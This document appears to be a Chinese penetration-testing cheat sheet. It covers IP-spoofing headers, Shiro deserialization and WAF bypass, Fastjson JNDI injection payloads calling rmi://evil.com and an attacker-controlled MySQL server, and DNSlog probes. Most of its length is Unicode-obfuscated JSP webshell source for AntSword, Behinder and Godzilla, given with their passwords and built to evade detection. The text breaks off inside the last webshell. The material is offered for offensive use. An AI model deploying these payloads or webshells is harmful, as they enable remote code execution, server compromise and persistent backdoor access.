X-Forwarded-For: 127.0.0.1 X-Forwarded: 127.0.0.1 Forwarded-For: 127.0.0.1 Forwarded: 127.0.0.1 X-Requested-With: 127.0.0.1 X-Forwarded-Proto: 127.0.0.1 X-Forwarded-Host: 127.0.0.1 X-remote-IP: 127.0.0.1 X-remote-addr: 127.0.0.1 True-Client-IP: 127.0.0.1 X-Client-IP: 127.0.0.1 Client-IP: 127.0.0.1 X-Real-IP: 127.0.0.1 Ali-CDN-Real-IP: 127.0.0.1 Cdn-Src-Ip: 127.0.0.1 Cdn-Real-Ip: 127.0.0.1 CF-Connecting-IP: 127.0.0.1 X-Cluster-Client-IP: 127.0.0.1 WL-Proxy-Client-IP: 127.0.0.1 Proxy-Client-IP: 127.0.0.1 Fastly-Client-Ip: 127.0.0.1 True-Client-Ip: 127.0.0.1 X-Originating-IP: 127.0.0.1 X-Host: 127.0.0.1 X-Custom-IP-Authorization: 127.0.0.1
Shiro反序列化
绕WAF
删除GET请求头。
反序列化链
在Shiro中使用无CommonsCollections依赖的CommonsBeanUtils利用链,该师傅还写了个不错的shiro工具,https://github.com/F4ded/DearShiro
ysoserial-CommonsBeanutils1的shiro无依赖链改造
shiro 反序列化复现-只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞。
CommonsBeanutils与无commons-collections的Shiro反序列化利用-扩展阅读:代码审计知识星球中的Java安全漫谈
Ares-X师傅的shiro-exploit、M-Kings/WEB-shiro_rememberMe_encode_decode,也有机会可以自制RemeberME Cookie的Payload。
ysoserial 工具改造(一),成果:KpLi0rn/ysoserial
使用自定义ClassLoader解决反序列化serialVesionUID不一致问题
Shiro 反序列化漏洞利用工具编写思路-中的工具链CommonsBeanutils1分别基于1.9.2版本和1.8.3版本生成payload
Fastjson盲打
<=1.2.24
com.sun.rowset.JdbcRowSetImpl
{ "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.122.124:9999/MSFPayload", "autoCommit":true } }
<=1.2.47
绕过白名单检测。
com.sun.rowset.JdbcRowSetImpl
{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://evil.com:9999/Exploit", "autoCommit":true } }
>1.2.67探测?
{"@type":"java.net.Inet4Address","val":"1111.3hu6y2.dnslog.cn"} {"@type":"java.net.Inet6Address","val":"1111.3hu6y2.dnslog.cn"} {"@type":"java.net.InetSocketAddress"{"address":,"val":"11.3hu6y2.dnslog.cn"}}
<1.2.67
探测
{"leo":{"@type":"java.net.Inet4Address","val":"1111.3hu6y2.dnslog.cn"}}
com.mysql.connector,此SSRF链通杀5.1.x所有版本,但只有5.1.11至5.1.48可反序列化。
{ "x":{ "@type":"java.lang.AutoCloseable", "@type":"com.mysql.jdbc.JDBC4Connection", "hostToConnectTo":"1.1.1.1", "portToConnectTo":3306, "info":{ "user":"yso_CommonsBeanutils1_wget http://kokoisko.38dlsn.dnslog.cn/123", "password":"ubuntu", "useSSL":"false","statementInterceptors":"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor", "autoDeserialize":"true"}, "databaseToConnectTo":"mysql", "url":""} }
关于blackhat2021披露的fastjson1.2.68链
搭建mysql服务器,https://github.com/fnmsd/MySQL_Fake_Server,在MySQL_Fake_Server 目录内里放一个ysoserial-0.0.6-SNAPSHOT-all.jar,下载地址:https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
hostToConnectTo为VPS地址。
命令: wget http://kokoisko.38dlsn.dnslog.cn/123,即填写"user":“yso_CommonsBeanutils1_wget http://kokoisko.38dlsn.dnslog.cn/123",
fastjson插件
https://github.com/pmiaowu/BurpFastJsonScan
参考
Jsp-Webshell混淆
unicode编码
Java编译器首先识别Unicode符号
\u
特殊点,在
\u2122
后添加多个u,\uuuuuuuu2122
仍可以被正常解析转换。Chapter 3. Lexical Structure (oracle.com)
某次攻防文件上传绕过-getshell - 云+社区 - 腾讯云 (tencent.com)
闲谈Webshell实战应用 - 安全客,安全资讯平台 (anquanke.com)
Webshell 混淆 - jsp 类型 | 海上孤岛 (iassas.com)
antsword
蚁剑,密码 ant
<%!\u0063\u006c\u0061\u0073\u0073\u0020\u0055\u0020\u0065\u0078\u0074\u0065\u006e\u0064\u0073\u0020\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0020\u007b\u0055\u0028\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0020\u0063\u0029\u0020\u007b\u0073\u0075\u0070\u0065\u0072\u0028\u0063\u0029\u003b\u007d\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0043\u006c\u0061\u0073\u0073\u0020\u0067\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0062\u0029\u0020\u007b\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0073\u0075\u0070\u0065\u0072\u002e\u0064\u0065\u0066\u0069\u006e\u0065\u0043\u006c\u0061\u0073\u0073\u0028\u0062\u002c\u0020\u0030\u002c\u0020\u0062\u002e\u006c\u0065\u006e\u0067\u0074\u0068\u0029\u003b\u007d\u000a\u0020\u0020\u0020\u0020\u007d\u000a\u000a\u0020\u0020\u0020\u0020\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0073\u0074\u0072\u0029\u0020\u0074\u0068\u0072\u006f\u0077\u0073\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0043\u006c\u0061\u0073\u0073\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u006e\u0075\u006c\u006c\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0074\u0072\u0079\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u003d\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028\u0022\u0073\u0075\u006e\u002e\u006d\u0069\u0073\u0063\u002e\u0042\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072\u0022\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u0020\u003d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u002e\u006e\u0065\u0077\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0029\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0064\u0065\u0063\u006f\u0064\u0065\u0042\u0075\u0066\u0066\u0065\u0072\u0022\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u0020\u007b\u0053\u0074\u0072\u0069\u006e\u0067\u002e\u0063\u006c\u0061\u0073\u0073\u0020\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u0020\u007b\u0020\u0073\u0074\u0072\u0020\u007d\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0074\u0072\u0079\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u003d\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028\u0022\u006a\u0061\u0076\u0061\u002e\u0075\u0074\u0069\u006c\u002e\u0042\u0061\u0073\u0065\u0036\u0034\u0022\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u0020\u003d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0067\u0065\u0074\u0044\u0065\u0063\u006f\u0064\u0065\u0072\u0022\u002c\u0020\u006e\u0075\u006c\u006c\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0062\u0061\u0073\u0065\u0036\u0034\u002c\u0020\u006e\u0075\u006c\u006c\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0029\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0064\u0065\u0063\u006f\u0064\u0065\u0022\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u0020\u007b\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u002e\u0063\u006c\u0061\u0073\u0073\u0020\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u0020\u007b\u0020\u0073\u0074\u0072\u0020\u007d\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0065\u0029\u0020\u007b\u007d\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u007d\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0076\u0061\u006c\u0075\u0065\u003b\u000a\u0020\u0020\u0020\u0020\u007d %> <% \u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0063\u006c\u0073\u0020\u003d\u0020\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0022\u0061\u006e\u0074\u0022\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0069\u0066\u0020\u0028\u0063\u006c\u0073\u0020\u0021\u003d\u0020\u006e\u0075\u006c\u006c\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u006e\u0065\u0077\u0020\u0055\u0028\u0074\u0068\u0069\u0073\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0028\u0029\u0029\u002e\u0067\u0028\u0062\u0061\u0073\u0065\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0028\u0063\u006c\u0073\u0029\u0029\u002e\u006e\u0065\u0077\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0029\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u007b\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002c\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u007d\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u007d %>
冰蝎
冰蝎,密码 rebeyond
<%@page import="\u006a\u0061\u0076\u0061.\u0075\u0074\u0069\u006c.*,\u006a\u0061\u0076\u0061\u0078.\u0063\u0072\u0079\u0070\u0074\u006f.*,\u006a\u0061\u0076\u0061\u0078.\u0063\u0072\u0079\u0070\u0074\u006f.\u0073\u0070\u0065\u0063.*"%><%!\u0063\u006c\u0061\u0073\u0073\u0020\u0055\u0020\u0065\u0078\u0074\u0065\u006e\u0064\u0073\u0020\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u007b\u0055\u0028\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0020\u0063\u0029\u007b\u0073\u0075\u0070\u0065\u0072\u0028\u0063\u0029\u003b\u007d\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0043\u006c\u0061\u0073\u0073\u0020\u0067\u0028\u0062\u0079\u0074\u0065\u0020\u005b\u005d\u0062\u0029\u007b\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0073\u0075\u0070\u0065\u0072\u002e\u0064\u0065\u0066\u0069\u006e\u0065\u0043\u006c\u0061\u0073\u0073\u0028\u0062\u002c\u0030\u002c\u0062\u002e\u006c\u0065\u006e\u0067\u0074\u0068\u0029\u003b\u007d\u007d%><%\u0069\u0066\u0020\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0029\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028"POST"\u0029\u0029\u007b\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u006b\u003d"e45e329feb5d925b"\u003b\u0073\u0065\u0073\u0073\u0069\u006f\u006e\u002e\u0070\u0075\u0074\u0056\u0061\u006c\u0075\u0065\u0028"u"\u002c\u006b\u0029\u003b\u0043\u0069\u0070\u0068\u0065\u0072\u0020\u0063\u003d\u0043\u0069\u0070\u0068\u0065\u0072\u002e\u0067\u0065\u0074\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028"AES"\u0029\u003b\u0063\u002e\u0069\u006e\u0069\u0074\u0028\u0032\u002c\u006e\u0065\u0077\u0020\u0053\u0065\u0063\u0072\u0065\u0074\u004b\u0065\u0079\u0053\u0070\u0065\u0063\u0028\u006b\u002e\u0067\u0065\u0074\u0042\u0079\u0074\u0065\u0073\u0028\u0029\u002c"AES"\u0029\u0029\u003b\u006e\u0065\u0077\u0020\u0055\u0028\u0074\u0068\u0069\u0073\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0028\u0029\u0029\u002e\u0067\u0028\u0063\u002e\u0064\u006f\u0046\u0069\u006e\u0061\u006c\u0028\u006e\u0065\u0077\u0020\u0073\u0075\u006e\u002e\u006d\u0069\u0073\u0063\u002e\u0042\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072\u0028\u0029\u002e\u0064\u0065\u0063\u006f\u0064\u0065\u0042\u0075\u0066\u0066\u0065\u0072\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0052\u0065\u0061\u0064\u0065\u0072\u0028\u0029\u002e\u0072\u0065\u0061\u0064\u004c\u0069\u006e\u0065\u0028\u0029\u0029\u0029\u0029\u002e\u006e\u0065\u0077\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0029\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0070\u0061\u0067\u0065\u0043\u006f\u006e\u0074\u0065\u0078\u0074\u0029\u003b\u007d%>
哥斯拉
密码 pass,密钥 key
<%! \u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0078\u0063\u003d"3c6e0b8a9c15224a"\u003b\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0070\u0061\u0073\u0073\u003d"pass"\u003b\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u006d\u0064\u0035\u003d\u006d\u0064\u0035\u0028\u0070\u0061\u0073\u0073\u002b\u0078\u0063\u0029\u003b\u0020\u0063\u006c\u0061\u0073\u0073\u0020\u0058\u0020\u0065\u0078\u0074\u0065\u006e\u0064\u0073\u0020\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u007b\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0058\u0028\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0020\u007a\u0029\u007b\u0073\u0075\u0070\u0065\u0072\u0028\u007a\u0029\u003b\u007d\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0043\u006c\u0061\u0073\u0073\u0020\u0051\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0063\u0062\u0029\u007b\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0073\u0075\u0070\u0065\u0072\u002e\u0064\u0065\u0066\u0069\u006e\u0065\u0043\u006c\u0061\u0073\u0073\u0028\u0063\u0062\u002c\u0020\u0030\u002c\u0020\u0063\u0062\u002e\u006c\u0065\u006e\u0067\u0074\u0068\u0029\u003b\u007d\u0020\u007d\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0078\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0073\u002c\u0062\u006f\u006f\u006c\u0065\u0061\u006e\u0020\u006d\u0029\u007b\u0020\u0074\u0072\u0079\u007b\u006a\u0061\u0076\u0061\u0078\u002e\u0063\u0072\u0079\u0070\u0074\u006f\u002e\u0043\u0069\u0070\u0068\u0065\u0072\u0020\u0063\u003d\u006a\u0061\u0076\u0061\u0078\u002e\u0063\u0072\u0079\u0070\u0074\u006f\u002e\u0043\u0069\u0070\u0068\u0065\u0072\u002e\u0067\u0065\u0074\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028"\u0041\u0045\u0053")\u003b\u0063\u002e\u0069\u006e\u0069\u0074\u0028\u006d\u003f\u0031\u003a\u0032\u002c\u006e\u0065\u0077\u0020\u006a\u0061\u0076\u0061\u0078\u002e\u0063\u0072\u0079\u0070\u0074\u006f\u002e\u0073\u0070\u0065\u0063\u002e\u0053\u0065\u0063\u0072\u0065\u0074\u004b\u0065\u0079\u0053\u0070\u0065\u0063\u0028\u0078\u0063\u002e\u0067\u0065\u0074\u0042\u0079\u0074\u0065\u0073\u0028\u0029\u002c"\u0041\u0045\u0053"\u0029\u0029\u003b\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0063\u002e\u0064\u006f\u0046\u0069\u006e\u0061\u006c\u0028\u0073\u0029\u003b\u0020\u007d\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u007b\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u006e\u0075\u006c\u006c\u003b\u0020\u007d\u007d\u0020\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0073\u0074\u0061\u0074\u0069\u0063\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u006d\u0064\u0035\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0073\u0029\u0020\u007b\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0072\u0065\u0074\u0020\u003d\u0020\u006e\u0075\u006c\u006c\u003b\u0074\u0072\u0079\u0020\u007b\u006a\u0061\u0076\u0061\u002e\u0073\u0065\u0063\u0075\u0072\u0069\u0074\u0079\u002e\u004d\u0065\u0073\u0073\u0061\u0067\u0065\u0044\u0069\u0067\u0065\u0073\u0074\u0020\u006d\u003b\u006d\u0020\u003d\u0020\u006a\u0061\u0076\u0061\u002e\u0073\u0065\u0063\u0075\u0072\u0069\u0074\u0079\u002e\u004d\u0065\u0073\u0073\u0061\u0067\u0065\u0044\u0069\u0067\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028"\u004d\u0044\u0035"\u0029\u003b\u006d\u002e\u0075\u0070\u0064\u0061\u0074\u0065\u0028\u0073\u002e\u0067\u0065\u0074\u0042\u0079\u0074\u0065\u0073\u0028\u0029\u002c\u0020\u0030\u002c\u0020\u0073\u002e\u006c\u0065\u006e\u0067\u0074\u0068\u0028\u0029\u0029\u003b\u0072\u0065\u0074\u0020\u003d\u0020\u006e\u0065\u0077\u0020\u006a\u0061\u0076\u0061\u002e\u006d\u0061\u0074\u0068\u002e\u0042\u0069\u0067\u0049\u006e\u0074\u0065\u0067\u0065\u0072\u0028\u0031\u002c\u0020\u006d\u002e\u0064\u0069\u0067\u0065\u0073\u0074\u0028\u0029\u0029\u002e\u0074\u006f\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0031\u0036\u0029\u002e\u0074\u006f\u0055\u0070\u0070\u0065\u0072\u0043\u0061\u0073\u0065\u0028\u0029\u003b\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u0020\u007b\u007d\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0072\u0065\u0074\u003b\u0020\u007d\u0020\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0073\u0074\u0061\u0074\u0069\u0063\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u0045\u006e\u0063\u006f\u0064\u0065\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0062\u0073\u0029\u0020\u0074\u0068\u0072\u006f\u0077\u0073\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u007b\u0043\u006c\u0061\u0073\u0073\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u003b\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u006e\u0075\u006c\u006c\u003b\u0074\u0072\u0079\u0020\u007b\u0062\u0061\u0073\u0065\u0036\u0034\u003d\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028"\u006a\u0061\u0076\u0061.\u0075\u0074\u0069\u006c.\u0042\u0061\u0073\u0065\u0036\u0034"\u0029\u003b\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0045\u006e\u0063\u006f\u0064\u0065\u0072\u0020\u003d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028"\u0067\u0065\u0074\u0045\u006e\u0063\u006f\u0064\u0065\u0072"\u002c\u0020\u006e\u0075\u006c\u006c\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0062\u0061\u0073\u0065\u0036\u0034\u002c\u0020\u006e\u0075\u006c\u006c\u0029\u003b\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0029\u0045\u006e\u0063\u006f\u0064\u0065\u0072\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028"encodeToString"\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u0020\u007b\u0020\u0062\u0079\u0074\u0065\u005b\u005d\u002e\u0063\u006c\u0061\u0073\u0073\u0020\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0045\u006e\u0063\u006f\u0064\u0065\u0072\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u0020\u007b\u0020\u0062\u0073\u0020\u007d\u0029\u003b\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u0020\u007b\u0074\u0072\u0079\u0020\u007b\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u003d\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028"\u0073\u0075\u006e.\u006d\u0069\u0073\u0063.\u0042\u0041\u0053\u0045\u0036\u0034\u0045\u006e\u0063\u006f\u0064\u0065\u0072"\u0029\u003b\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0045\u006e\u0063\u006f\u0064\u0065\u0072\u0020\u003d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u002e\u006e\u0065\u0077\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0029\u003b\u0020\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0029\u0045\u006e\u0063\u006f\u0064\u0065\u0072\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028"encode"\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u0020\u007b\u0020\u0062\u0079\u0074\u0065\u005b\u005d\u002e\u0063\u006c\u0061\u0073\u0073\u0020\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0045\u006e\u0063\u006f\u0064\u0065\u0072\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u0020\u007b\u0020\u0062\u0073\u0020\u007d\u0029\u003b\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0032\u0029\u0020\u007b\u007d\u007d\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0076\u0061\u006c\u0075\u0065\u003b\u0020\u007d\u0020\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0073\u0074\u0061\u0074\u0069\u0063\u0020\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0062\u0073\u0029\u0020\u0074\u0068\u0072\u006f\u0077\u0073\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u007b\u0043\u006c\u0061\u0073\u0073\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u003b\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u006e\u0075\u006c\u006c\u003b\u0074\u0072\u0079\u0020\u007b\u0062\u0061\u0073\u0065\u0036\u0034\u003d\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028"\u006a\u0061\u0076\u0061.\u0075\u0074\u0069\u006c.\u0042\u0061\u0073\u0065\u0036\u0034"\u0029\u003b\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u0020\u003d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028"getDecoder"\u002c\u0020\u006e\u0075\u006c\u006c\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0062\u0061\u0073\u0065\u0036\u0034\u002c\u0020\u006e\u0075\u006c\u006c\u0029\u003b\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0029\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0064\u0065\u0063\u006f\u0064\u0065\u0022\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u0020\u007b\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u002e\u0063\u006c\u0061\u0073\u0073\u0020\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u0020\u007b\u0020\u0062\u0073\u0020\u007d\u0029\u003b\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u0020\u007b\u0074\u0072\u0079\u0020\u007b\u0020\u0062\u0061\u0073\u0065